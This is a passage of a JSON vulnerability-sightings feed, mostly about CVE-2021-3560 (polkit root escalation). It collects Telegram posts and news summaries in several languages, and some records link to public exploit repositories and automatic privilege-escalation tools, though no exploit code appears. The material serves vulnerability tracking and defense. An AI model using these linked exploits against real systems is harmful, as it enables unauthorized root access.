https://vulners.com/prion/PRION:CVE-2018-3283\n|       PRION:CVE-2018-3074     3.5     https://vulners.com/prion/PRION:CVE-2018-3074               |       PRION:CVE-2018-3062     3.5     https://vulners.com/prion/PRION:CVE-2018-3062\n|       PRION:CVE-2023-22115    3.3     https://vulners.com/prion/PRION:CVE-2023-22115\n|       PRION:CVE-2023-22114    3.3     https://vulners.com/prion/PRION:CVE-2023-22114              |       PRION:CVE-2023-22113    3.3     https://vulners.com/prion/PRION:CVE-2023-22113              |       PRION:CVE-2023-22112    3.3     https://vulners.com/prion/PRION:CVE-2023-22112\n|       PRION:CVE-2023-22111    3.3     https://vulners.com/prion/PRION:CVE-2023-22111", "creation_timestamp": "2023-11-15T16:53:23.000000Z"}, {"uuid": "e2d1cb33-8cbf-4ea9-80ab-d35e7d2ea9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/reconshell/1216", "content": "Automatic Linux privesc exploitation\n\n#CVE-2021-3560 #CVE-2021-4034 #CVE-2022-0847\n#Linux #privesc #exploitation #PrivilegeEscalation\n#vulnerabilities #root #shell #Exploit #Hacking\n\nhttps://reconshell.com/automatic-linux-privesc-exploitation/", "creation_timestamp": "2022-03-12T19:48:01.000000Z"}, {"uuid": "0d0528c0-3d00-4a56-9e4e-31cc962068f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/JGMy2HKSfAD3BUEkBfRAPBYrdj6682LBX41uJfpddYGBBQ", "content": "", "creation_timestamp": "2021-08-16T19:15:23.000000Z"}, {"uuid": "61dc6ba4-c4f9-4cdc-b385-7f4f1db719d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/intelexch/10408", "content": "https://github.com/GatoGamer1155/CVE-2021-3560", "creation_timestamp": "2022-03-09T15:49:41.000000Z"}, {"uuid": "ee49057d-db21-4f1d-a7b4-ff520a5ab74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/1808", "content": "\u041a\u0435\u0432\u0438\u043d \u0411\u044d\u043a\u0445\u0430\u0443\u0441, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c GitHub Security Lab, \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 polkit \u0432 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430.\n\nPolkit - \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Ubuntu, Fedora, Red Hat \u0438 \u0434\u0440.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 CVE-2021-3560 \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 3 \u0438\u044e\u043d\u044f. \u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043e\u043d\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 polkit 0.113 \u0435\u0449\u0435 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2013 \u0433\u043e\u0434\u0430 (\u0430 Baron Samedit \u0432 sudo \u043f\u0440\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435 10 \u043b\u0435\u0442 \u0434\u043e \u0441\u0432\u043e\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u0440\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0411\u044d\u043a\u0445\u0430\u0443\u0441\u043e\u043c \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435. \u041e\u0446\u0435\u043d\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u043e CVSS - 7,8.\n\n\u0412\u0441\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b \u0441 polkit \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f (\u0445\u043e\u0442\u044f \u044d\u0442\u043e \u043d\u0435 RCE, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0438 \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435).", "creation_timestamp": "2021-06-11T12:02:00.000000Z"}, {"uuid": "f8a4e359-a7bf-43bf-961c-05d3f0c41a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cibsecurity/37624", "content": "\u203c CVE-2021-3560 \u203c\n\nIt was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-16T22:36:28.000000Z"}, {"uuid": "8ff73acb-9ed6-4320-8122-90b8d22f22d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35606", "type": "seen", "source": "https://t.me/cibsecurity/30883", "content": "\u203c CVE-2021-35606 \u203c\n\nVulnerability in the PeopleSoft Enterprise CS Campus Community product of Oracle PeopleSoft (component: Notification Framework). Supported versions that are affected are 9.0 and 9.2. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the PeopleSoft Enterprise CS Campus Community executes to compromise PeopleSoft Enterprise CS Campus Community. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise CS Campus Community accessible data. CVSS 3.1 Base Score 5.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-20T14:41:33.000000Z"}, {"uuid": "f0126d45-60b0-4a8e-a979-3e14e42b88a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35607", "type": "seen", "source": "https://t.me/cibsecurity/30878", "content": "\u203c CVE-2021-35607 \u203c\n\nVulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.26 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-20T14:41:27.000000Z"}, {"uuid": "d1a2d8cd-8a55-441d-850c-01009141bddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/reverse_dungeon/568", "content": "\u041a\u0435\u0432\u0438\u043d \u0411\u044d\u043a\u0445\u0430\u0443\u0441, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c GitHub Security Lab, \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 polkit \u0432 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430.\n\nPolkit - \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Ubuntu, Fedora, Red Hat \u0438 \u0434\u0440.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 CVE-2021-3560 \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 3 \u0438\u044e\u043d\u044f. \u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043e\u043d\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 polkit 0.113 \u0435\u0449\u0435 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2013 \u0433\u043e\u0434\u0430 (\u0430 Baron Samedit \u0432 sudo \u043f\u0440\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435 10 \u043b\u0435\u0442 \u0434\u043e \u0441\u0432\u043e\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u0440\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0411\u044d\u043a\u0445\u0430\u0443\u0441\u043e\u043c \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435. \u041e\u0446\u0435\u043d\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u043e CVSS - 7,8.\n\n\u0412\u0441\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b \u0441 polkit \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f (\u0445\u043e\u0442\u044f \u044d\u0442\u043e \u043d\u0435 RCE, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0438 \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435).", "creation_timestamp": "2021-06-13T04:07:48.000000Z"}, {"uuid": "fa66a2a5-5ab7-49ce-8f29-d58fc867de6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/654", "content": "CVE-2021-3560 Polkit 0.105-26 0.117-2 \u672c\u5730\u7279\u6b0a\u63d0\u5347\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-3560_Polkit_0.105-26_0.117-2_%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-16T01:37:34.000000Z"}, {"uuid": "46478907-f72f-4948-95f2-585e5fd6610b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/679", "content": "CVE-2021-3560 - \u4f7f\u7528kill\u547d\u4ee4\u9032\u884c\u6b0a\u9650\u63d0\u5347\nhttps://forums.pwnwiki.org/t/34", "creation_timestamp": "2021-06-19T09:55:48.000000Z"}, {"uuid": "013255fe-0275-46ec-9789-67fc63426cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/theninjaway1337/1371", "content": "CISA: Several Old Linux Vulnerabilities Exploited in Attacks\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) has added several Linux and Linux-related flaws to its known exploited vulnerabilities (KEV) catalog.\nThe agency\u00a0added seven new vulnerabilities\u00a0to its KEV catalog on Friday: Ruckus AP remote code execution (CVE-2023-25717), Red Hat Polkit privilege escalation (CVE-2021-3560), Linux kernel privilege escalations (CVE-2014-0196 and CVE-2010-3904), Jenkins UI information disclosure (CVE-2015-5317), Apache Tomcat remote code execution (CVE-2016-8735), and an Oracle Java SE and JRockit issue (CVE-2016-3427).\n\nhttps://www.securityweek.com/cisa-several-old-linux-vulnerabilities-exploited-in-attacks/", "creation_timestamp": "2023-05-16T15:47:20.000000Z"}, {"uuid": "f9a48f40-d3b7-4fb6-8d61-b07c2ccacd37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/theninjaway1337/1001", "content": "#linux #explot #privesc \n\nCVE-2021-3560 Local PrivEsc Exploit\n\n https://github.com/swapravo/polkadots", "creation_timestamp": "2021-06-13T15:32:20.000000Z"}, {"uuid": "7a1ca460-df84-4b8f-acb6-b6b743288f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/information_security_channel/44366", "content": "GitHub Discloses Details of Easy-to-Exploit Linux Vulnerability\nhttp://feedproxy.google.com/~r/securityweek/~3/ixenj8Lk5tU/github-discloses-details-easy-exploit-linux-vulnerability\n\nGitHub this week disclosed the details of an easy-to-exploit Linux vulnerability that can be leveraged to escalate privileges to root on the targeted system.\nThe flaw, classified as high severity and tracked as CVE-2021-3560, impacts polkit, an authorization service that is present by default in many Linux distributions.\nread more (https://www.securityweek.com/github-discloses-details-easy-exploit-linux-vulnerability)", "creation_timestamp": "2021-06-11T17:33:35.000000Z"}, {"uuid": "619b2498-cd4f-47fa-a594-752de2d86a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/thehackernews/1283", "content": "A newly discovered 7-year-old Polkit vulnerability (CVE-2021-3560) could allow unprivileged Linux users to gain root access on target systems.\n\nRead: https://thehackernews.com/2021/06/7-year-old-polkit-flaw-lets.html", "creation_timestamp": "2024-12-02T15:04:13.000000Z"}, {"uuid": "7e5b41ab-a245-4d21-ab2b-a7629bc9edbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3587", "content": "#exploit\nCVE-2021-3560:\nPrivilege escalation with polkit: How to get root on Linux with a seven-year-old bug\nhttps://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug", "creation_timestamp": "2024-10-09T17:35:14.000000Z"}, {"uuid": "8311a680-13f2-4528-8b20-b371f4dea28a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3732", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (June 1-30)\nCVE-2021-1675 - Windows Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-21985 - vSphere Client RCE\nhttps://t.me/cybersecuritytechnologies/3493\nCVE-2021-3560 - Privilege escalation with polkit\nhttps://t.me/cybersecuritytechnologies/3587\nCVE-2021-28476 - Hyper-V RCE in vmswitch.sys\nhttps://t.me/cybersecuritytechnologies/3514\nCVE-2020-3580 - XSS in Cisco ASA\nhttps://www.helpnetsecurity.com/2021/06/29/cve-2020-3580-exploit\nCVE-2021-31955/31956 - Windows NTFS EoP/Kernel Information Disclosure\nhttps://github.com/mavillon1/CVE-2021-31955-POC\nhttps://t.me/cybersecuritytechnologies/3705\nCVE-2021-33739 - MS DWM Core Library EoP\nhttps://t.me/cybersecuritytechnologies/3581\nCVE-2021-27850 - Apache Tapestry RCE\nhttps://t.me/cybersecuritytechnologies/3694\nCVE-2020-36289 - Atlassian Jira Unauth User Enum\nhttps://mobile.twitter.com/i/web/status/1402644004781633540", "creation_timestamp": "2021-07-01T11:03:01.000000Z"}, {"uuid": "04e2dc1d-c70f-48c1-a4fe-879f0a326239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/6178", "content": "#Threat_Research\n1. A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation\nhttp://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en\n2. De-Anonymization attacks against Proton services\nhttps://www.reversemode.com/2022/06/de-anonymization-attacks-against-proton.html", "creation_timestamp": "2022-06-11T12:43:01.000000Z"}, {"uuid": "c75294d0-e214-4f34-ac6d-9d3702c4f3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4865", "content": "#Whitepaper\n\"Polkit Authentication Bypass / LPE\", 2021. \n\n// This whitepaper provides an overview of a Polkit authentication bypass vulnerability (CVE-2021-3560) that allows for LPE\n\n]-> PoC Exploit: https://t.me/cybersecuritytechnologies/3587", "creation_timestamp": "2022-11-18T05:48:52.000000Z"}, {"uuid": "912886e4-ca82-49ab-81f2-28098e68e18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/5529", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n- Nearly all of GTFOBins\n- Writeable docker.sock\n- CVE-2022-0847 (Dirty pipe)\n- CVE-2021-4034 (pwnkit)\n- CVE-2021-3560\n\nGithub\n\n#Linux #Exploit #Tools \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2023-09-26T09:46:31.000000Z"}, {"uuid": "387b1b73-0e20-410c-882a-4569a6ac93a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/GithubRedTeam/86046", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-3560-exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jeanback1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-27 00:48:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2021-3560 \u2014 Polkit privilege escalation exploit via accounts-daemon D-Bus race condition\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-27T01:05:06.000000Z"}, {"uuid": "2083d8f3-8862-41f4-b731-f7af9318f4bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "Telegram/XPzjER_VXnqDaL0x3el2A57nJCguhK8qowmsl0HK-KFshHo", "content": "", "creation_timestamp": "2026-05-27T21:09:44.000000Z"}, {"uuid": "34161a8d-a3b7-49e8-9532-2f018f6866d2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3408707d-94fd-4440-86a7-3a81285e29e1", "content": "", "creation_timestamp": "2026-06-19T12:46:55.158326Z"}, {"uuid": "7fa4fe19-6114-44ef-ba23-3ed58a0c020b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1e8b453b-bf41-4209-a411-dd05d314c7c7", "content": "", "creation_timestamp": "2026-06-23T14:05:40.582021Z"}, {"uuid": "ddeada83-34ea-4953-ba0a-94bb217efea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-27T12:00:09.168299Z"}, {"uuid": "85764a27-1b77-47d9-b79f-92f3b62c543b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cyberwarehouse/115", "content": "Looney Tunables: \u041d\u043e\u0432\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Linux, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Looney Tunables, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 GNU C ld.so. \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0443 \u0443\u0433\u0440\u043e\u0437\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-4911 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.8), \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0431\u0443\u0444\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c 